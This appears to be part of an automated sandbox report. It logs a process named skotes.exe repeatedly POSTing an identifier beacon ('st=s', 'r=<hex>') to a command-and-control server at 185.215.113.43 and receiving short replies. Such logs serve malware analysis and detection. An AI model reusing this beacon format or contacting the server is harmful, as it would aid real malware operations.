Nov 20, 2024 08:12:40.586847067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:41.276932001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	61316	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:42.802557945 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:43.501509905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	61317	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:45.139501095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:45.856105089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	61318	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:47.375143051 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:48.077095032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	61319	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:49.712764025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:50.410881996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	61320	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:51.936636925 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:52.635240078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	61321	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:54.268138885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:54.971400976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	61322	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:56.482481956 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:12:57.188254118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	61324	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:12:58.823843956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:12:59.523662090 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	61325	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:01.045403004 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:01.795391083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	61326	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:03.430772066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:04.131093025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	61327	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:05.644910097 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:06.360424995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	61328	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:08.002650976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:08.720268965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	61329	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:10.233222008 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:10.941715956 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	61330	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:12.567271948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:13.284321070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	61331	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:14.802716970 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:15.506131887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	61332	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:17.136640072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:17.825880051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	61333	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:19.352099895 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:20.047585011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	61334	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:21.689076900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:22.392513037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	61335	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:23.919146061 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:24.613637924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	61336	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:26.232636929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:26.922372103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	61337	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:28.446644068 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:13:29.151186943 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	61338	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:13:30.780592918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:13:31.481252909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	61339	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
